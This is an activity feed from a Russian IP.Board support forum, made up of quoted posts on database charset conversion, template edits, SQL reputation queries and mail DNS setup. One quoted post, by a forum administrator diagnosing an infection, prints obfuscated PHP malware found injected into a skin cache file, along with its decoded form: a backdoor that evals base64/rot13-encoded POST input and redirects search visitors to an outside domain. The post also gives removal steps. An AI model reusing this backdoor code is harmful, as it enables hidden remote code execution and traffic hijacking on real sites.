-
Постов
1120 -
Зарегистрирован
-
Посещение
-
Победитель дней
18
Активность репутации
-
spoken получил реакцию от benix в IPS Community Suite 4.0 - В ожидании релиза...
Много почитал по 4.0 на их сайте. Да, вкусности есть. Как для пользователей, так и для разработчиков. Но цена высока: несовместимость с темами и приложениями/хуками, требования к ресурсам, более высокий порог вхождения для разработчиков. Многие вещи упростились, но упростились за счёт использования новых техник в программировании и новых фреймворков. То есть, чтобы просто сделать вещь нужно больше знать при этом.
Такие вот пока впечатления.
-
spoken получил реакцию от benix в Конвертирование кодировки базы данных из cp1251 в utf8
Respected, спасибо.
На самом деле делать перекодировку через дамп это глупость. Есть скрипт, который перекодирует БД без дампа. Просто положить его в корень форума и запустить.
Скрипт такой. Сохранить под любым именем в корень форума и перейти по адресу скрипта.
<?php // Database info include("conf_global.php"); $dbhost = $INFO['sql_host']; $dbuser = $INFO['sql_user']; $dbpass = $INFO['sql_pass']; $dbname = $INFO['sql_database']; //--------------- header('Content-type: text/plain'); $dbconn = mysql_connect($dbhost, $dbuser, $dbpass) or die( mysql_error() ); $db = mysql_select_db($dbname) or die( mysql_error() ); $timer['start'] = microtime(true); $sql = "ALTER DATABASE `".$dbname."` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci"; $result = mysql_query($sql) or die( mysql_error() ); print "Database changed to UTF-8.n"; $sql = 'SHOW TABLES'; $result = mysql_query($sql) or die( mysql_error() ); $sql = array(); while ( $row = mysql_fetch_row($result) ) { $table = mysql_real_escape_string($row[0]); $sql = "ALTER TABLE {$table} DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci, CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci"; mysql_query($sql) or die( mysql_error() ); print "{$table} changed to UTF-8.n"; } mysql_close($dbconn); $timer['end'] = microtime(true) - $timer['start']; echo "nPage generated in ". round( $timer['end'], 4 ); ?> -
spoken получил реакцию от Алексей Перевощиков в Конвертирование кодировки базы данных из cp1251 в utf8
Respected, спасибо.
На самом деле делать перекодировку через дамп это глупость. Есть скрипт, который перекодирует БД без дампа. Просто положить его в корень форума и запустить.
Скрипт такой. Сохранить под любым именем в корень форума и перейти по адресу скрипта.
<?php // Database info include("conf_global.php"); $dbhost = $INFO['sql_host']; $dbuser = $INFO['sql_user']; $dbpass = $INFO['sql_pass']; $dbname = $INFO['sql_database']; //--------------- header('Content-type: text/plain'); $dbconn = mysql_connect($dbhost, $dbuser, $dbpass) or die( mysql_error() ); $db = mysql_select_db($dbname) or die( mysql_error() ); $timer['start'] = microtime(true); $sql = "ALTER DATABASE `".$dbname."` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci"; $result = mysql_query($sql) or die( mysql_error() ); print "Database changed to UTF-8.n"; $sql = 'SHOW TABLES'; $result = mysql_query($sql) or die( mysql_error() ); $sql = array(); while ( $row = mysql_fetch_row($result) ) { $table = mysql_real_escape_string($row[0]); $sql = "ALTER TABLE {$table} DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci, CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci"; mysql_query($sql) or die( mysql_error() ); print "{$table} changed to UTF-8.n"; } mysql_close($dbconn); $timer['end'] = microtime(true) - $timer['start']; echo "nPage generated in ". round( $timer['end'], 4 ); ?> -
-
spoken отреагировална пост Viktar83 в YouTube BBCode
Зайдите в медиа-теги и поправьте тег для YouTu.be,
вместо
http://(www.)?youtu.be/([\d\w-_]+?) вот так попробуйте:
http(?:s)?://(www.)?youtu.be/([\d\w-_]+?)
-
spoken получил реакцию от azatx в репутация (рейтинг) поста
Последний патч безопасности влияет только на модуль сжатия CSS и JS. Попробуйте отключить это сжатие в АЦ.
-
spoken получил реакцию от mazik001 в Панель модератора отображается у всех
WantedUser, повторюсь, что даже в стандартном стиле такое наблюдается.
Да, проверки в globalTemplate нет, буду переделывать.
<li><a href="{parse url="app=core&module=modcp" base="public"}" title='{$this->lang->words['gbl_modcp_link_title']}'>{$this->lang->words['gbl_modcp_link']}</a> </li> Вот для входа в АЦ проверка есть.
-
spoken получил реакцию от RsssQaaa в Надпись ниже копирайта
WantedUser, видел, просто уточнил. Сейчас глубже ворвусь в шаблон.
Копирайт там выводится хитро.
{$footer_items['copyright']}
$footer_items это массив, переменная шаблона.
Этот код разворачивается в такое:
<!-- Copyright Information -->
<p id='copyright'>Система для сообществ IP.Board<br />Лицензия зарегистрирована на: Имя<div style='display:none'><a href=>Игры на android</a><a href=>Скачать IPB 3.4</a></div></p>
<!-- / Copyright -->
Пипец, это нулл мне игры на андроид и прочее впихнул? И причём тут ipbmaster? Я и не качал вроде оттуда ничего. Разберусь, откуда вылезло.
Короче, добавление нового параграфа с text-align: right; должно вам помочь. Добавлять его надо после {$footer_items['copyright']}
-
spoken отреагировална пост Sanshalay в Friendly URL Translit
Просмотр файла Friendly URL Translit
Информация о плагине
Некоторые браузеры не могут корректно работать с кириллическими ссылками. Этот простой плагин будет конвертировать все кириллические символы в латинские во всех новых ссылках в вашем IPS Community Suite. Не рекомендуется использовать на сайтах с кириллическими доменами.
Инструкция по установке
Извлеките XML-файл из ZIP-архива. Войдите в Админцентр вашего сайта. Перейдите в "Система" > "Плагины" и нажмите кнопку "Установить". Выберите XML-файл и нажмите "Установить". Перейдите в настройки плагина и выберите нужный язык. Добавил Sanshalay Добавлено 19.02.2015 Категория Интерфейс Язык Язык: Русский -
spoken получил реакцию от Respected в хештеги, возможно ли?
Снова ничего непонятно.
Через custom bbcode дофига что можно сделать.
-
spoken отреагировална пост HooLIGUN в Убрать префиксы групп из UserInfo
Найти
<li class='group_title'> {$author['_group_formatted']} </li> Заменить на:
<php> $group_name = substr("{$author['_group_formatted']}", 6); </php> <li class='group_title'> {$group_name} </li> Где число 6 - кол-во символов,которое нужно обрезать.
-
spoken получил реакцию от AlexBrtn в Сжатие базы форума и очистка от мусора
Срочно к изучению >эта тема.
-
-
spoken отреагировална пост pcmist в Редирект, слив трафика
Такая же беда с пациентом 3.4.7
Выпали все странички из яшки. Написал Платону, на что был дан коротенький ответ
Копнул поиском и нашел таких проблем много.
Добавлю сюда для инфы
В кэш файл скина skin_global.php, а также и в кэш, расположенный в БД дописывается вот такой код:
$k='b2488714339183624a45a9373ae8d945'; $mds='O7Agi6;AxO2IXFOB@FOiDZ"&Dfg[A/&a,JnsjfgvkZ,_;vo)A<&[Jf/IAJo)B~E"A}"cO~4ckUF"AJoP;ZR$Jf/~Bv&~B~Bx%U"KDZ"@Dfz7,_&gBsD7Bs%sLTlcj=_c,0VcB=ogFUE"J_C^{_4;DZ(Fk}ggFvRxkZDVBf{foR&",<o7,Z{@B=4~J=D7FTWakU4]{W&./Rx"A_)ck}"KDe{&neC~,<F];<R)wfE@D~o0;=4uB=Cc,Z/~]Zo~wJFx]eoxFJDP]egV;v4gOUocD~P"J_oR{g,R{gxs}R4{{R&/{)/}J)Re4{${D_)cj~4v^{CPwJDa,/&_BvP@DR&.4/D<4/D;D)V{/RC]{"/Z4/DR{0FFk.x"wa_lDZ,;DfV7B=nsJ.x"B>_lBeDg,_&(wJ4>AUEsYfzcFv/BLvo7;Jzs;f&s;Z/BLsz$w<V7;_P[]ZDc;vB[wf&(]egV;v4gORP[Bs/uBvR(wvzgBgP[Bs/uwvRc,e/BL0ocD~P"w~"KDZE&DR&.4/D<4/D;D)V{/RC]}W&./UFFj~40^}4)AZgaL.$a,J4)A<$sB_xswf&7AfggJfg"D_)KDZB&DZY[D=ogB=oc;f$]A<nsj~4g^}40L0Fxw<$sJfg"Dax",T_g;JC)O}E"J_oR{g,R{gxs}R4{{R&wJ)_^<0FFk.(c,0Vg;JC)O}E"J)o^.)(D4/x",/)ckJ(c,0VcB=ogFUE"J)FR/RxsAJC0F0FFk}wvkURg;JC)O}E"J)FR/Rxs,~FFk}"vD0EV,<_PFe"@DR&T.)&L}{/;DZFFk}"cOfgvkU4>^.)"AUgKA<w@DZncBf/)wf&7AfggkU4gLUFg;0BxFZg(,}Ecka%f%TlPk.x";._aF<DaFeY@;<n_kU4@k}PPLTEcj=C~A<$)kUD";fo_;</[FU$x;foVFZg7;>)sAe4)BT@7L=/~;T4aAZ&~FU$c;v,7L=x";J)sY0"K]</IAJnK]<gvkUEVDe{cD0w"B0gKDWgnn"V{.{P[^}YuBfo~AJC)Ye4$BZ{&D=4gOen7AvRfwJo>BvgPFUBEB=D>^}FKDe4@AJ%(^sogFe4c;vFa<~F0;fR~,R&_BvPsJJ)7A<$",JE[BZVP^fgPwsw&O~4)AZgaL.$~,<FcB=4~O})`BV3iI=N`;=/)Be/)L.$V;s4cnfR>AZ/YwJo@]},V;JlK,a_SB~B`BV3iI=N`^U&aw=DcBen`BV3iI=N`Y>(&]nNNq'; $jsa='jEK!u>WQ^CfRP98_%Xwtk&5qJh0?1Nz{Zi:/vd[s|cO@#-<+=]M"o`y.UAmrG*aeg,2}Tbl(Fx~4SB$3YDIHLn7)pV6'; $jsb='Og7+8jE>PB2Fw`~1M_Y#K9b-;X=i]|)xUG(<Vm&un%peo^}W*3f:kN.?TCa!,{[zHlZ6SD"AtdsyRqc5rIJ4/LQv0$h@'; $i='#c#'.substr($mds,213,1); $ipd=preg_replace($i,strtr($mds,$jsa,$jsb),'css'); Если его декодировать
$i='ini_set'; if(function_exists($i)){ $i('display_errors',0); $i('log_errors',0); } if(isset($_POST[$k]))eval(base64_decode(str_rot13($_POST[$k]))); $u=@preg_match('#bot|spider|crawl|slurp|yandex#i',$_SERVER['HTTP_USER_AGENT']); $f=@parse_url($_SERVER['HTTP_REFERER']); $c=@$f['host']; $r=@preg_match('#live.com|google.|yahoo.|bing.com|yandex.ru|rambler.ru|baidu.#i',$c); $h=$_SERVER['HTTP_HOST']; $b=$this->settings['cookie_id']; $g=$b.'session_id'; $e=$b.'lang_id'; $d=empty($_SERVER['HTTP_X_MOZ']); if(empty($_COOKIE[$e])){ if(isset($_GET['ipbv'])&&(!empty($_GET['g']))&&(!empty($_COOKIE[$g]))){ if($c==$h){ if($d)setcookie($e,'en',time()+36000); $m=substr(md5($h),0,8); print("document.location='__url4short.info/{$m}'"); } exit;} if((!$u)&&$r){$IPBHTML.="";} } Причем стоит обратить внимание, что куки записываются на 10 часов - 36000 секунд. Переходя из поиска к вам на сайт, пациента перекидывает на урл4шот.инфо Через 10 часов куки отваливаются и пациент будет заходить нормально.
Решение: Очистить от ЛИШНЕГО кода указанного выше, в файле /cache/skin_cache/cacheid_1/skin_global.php
Перестроить все кэши Внешний вид --->Инструменты
Надеюсь решение кому то может.
-
-
spoken получил реакцию от Respected в Удалить все изменения репутации от определенных пользователей
Нда, админ такого крупного форума без навыков работы с БД.
Посмотри результат такого запроса
SELECT * FROM ibf_reputation_index where member_id=4; Вместо 4 подставь идентификатор нужного пользователя.
Для удаления такой запрос
delete FROM ibf_reputation_index where member_id=4; commit; где 4 это идентификатор нужного пользователя.
А такой запрос покажет содержимое постов, которые он лайкал
select author_name,post from ibf_posts where pid in (SELECT type_id FROM ibf_reputation_index where member_id=4 and type='pid'); -
spoken получил реакцию от AUYKGN в Удалить все изменения репутации от определенных пользователей
Нда, админ такого крупного форума без навыков работы с БД.
Посмотри результат такого запроса
SELECT * FROM ibf_reputation_index where member_id=4; Вместо 4 подставь идентификатор нужного пользователя.
Для удаления такой запрос
delete FROM ibf_reputation_index where member_id=4; commit; где 4 это идентификатор нужного пользователя.
А такой запрос покажет содержимое постов, которые он лайкал
select author_name,post from ibf_posts where pid in (SELECT type_id FROM ibf_reputation_index where member_id=4 and type='pid'); -
spoken получил реакцию от AUYKGN в Скрыть отдельных пользователей в группе
Проще дать права пользователям через вторичные группы. Я на форуме обычный пользователь, а вторичная группа модераторов. В результате в группе модераторов я не отображаюсь, а все её права имею.
-
spoken получил реакцию от Efremov в Скрыть отдельных пользователей в группе
Проще дать права пользователям через вторичные группы. Я на форуме обычный пользователь, а вторичная группа модераторов. В результате в группе модераторов я не отображаюсь, а все её права имею.
-
spoken отреагировална пост WOLF в Лучший модератор 2014
Лучшим модератором 2014 года, по мнению наших форумчан становится WOLF.
-------------------------------------------------------------------------
От себя хочу добавить.
Спасибо всем, кто принял участие в голосование, а еще больше спасибо тем, кто оставил свое мнения о том или ином модераторе. Для меня лично очень важно было узнать именно ваши мнения, узнать свои минусы и плюсы, чтобы возможно в дальнейшем стать лучше, лучше для вас, и для самого себя в целом.
Буду стараться, буду трудится, постараюсь никого не обидеть. Ну а если кого и обидел в 2014, уж извините, все мы люди, у каждого свои проблемы, свой характер, и свой взгляд на мир. Спасибо что вы с нами, Спасибо что вы на волне Мафии.
С уважением, ваш
WOLF.
-
spoken получил реакцию от Respected в Как настроить почту?
А нафига MX запись указывает на IP твоего форума? Она должна указывать на SMTP-сервера Яндекса.
Записи для mail.forumpchelp.ru смотри, там другой IP должен быть.
При корректной настройке nslookup mail.forumpchelp.ru должен выдавать такое
Name: mail.yandex.ru
Addresses: 87.250.251.25, 213.180.193.25, 213.180.204.25, 87.250.250.25
93.158.134.25
Aliases: mail.forumpchelp.ru, domain.mail.yandex.net
Тут инструкции по настройке
__help.yandex.ru/pdd/records.xml -
spoken получил реакцию от Andross в Чем разбить БД?
Andross, вбей эту ошибку в google. Это что-то с праметрами mysql самого.
__wiki.bitel.ru/index.php/%D0%A0%D0%B5%D0%BA%D0%BE%D0%BC%D0%B5%D0%BD%D0%B4%D0%B0%D1%86%D0%B8%D0%B8_%D0%BF%D0%BE_%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B5_MySQL -
spoken получил реакцию от Andross в Чем разбить БД?
1. права на файл дампа. Проверить через ls -la /var/www/prandros/data/www/forumpchelp.ru/bazasql/
2. пробуй под root, только это не системный root, а root сервера mysql, поэтому пароли у них разные.
-
spoken получил реакцию от Andross в Чем разбить БД?
cd /var/www/prandros/data/www/forumpchelp.ru/bazasql/
-
spoken получил реакцию от Andross в Чем разбить БД?
Ну, если с консолью и phpmyadmin не получается, то попробуй какой-нибудь Sypex Dumper. Он тут был, вроде.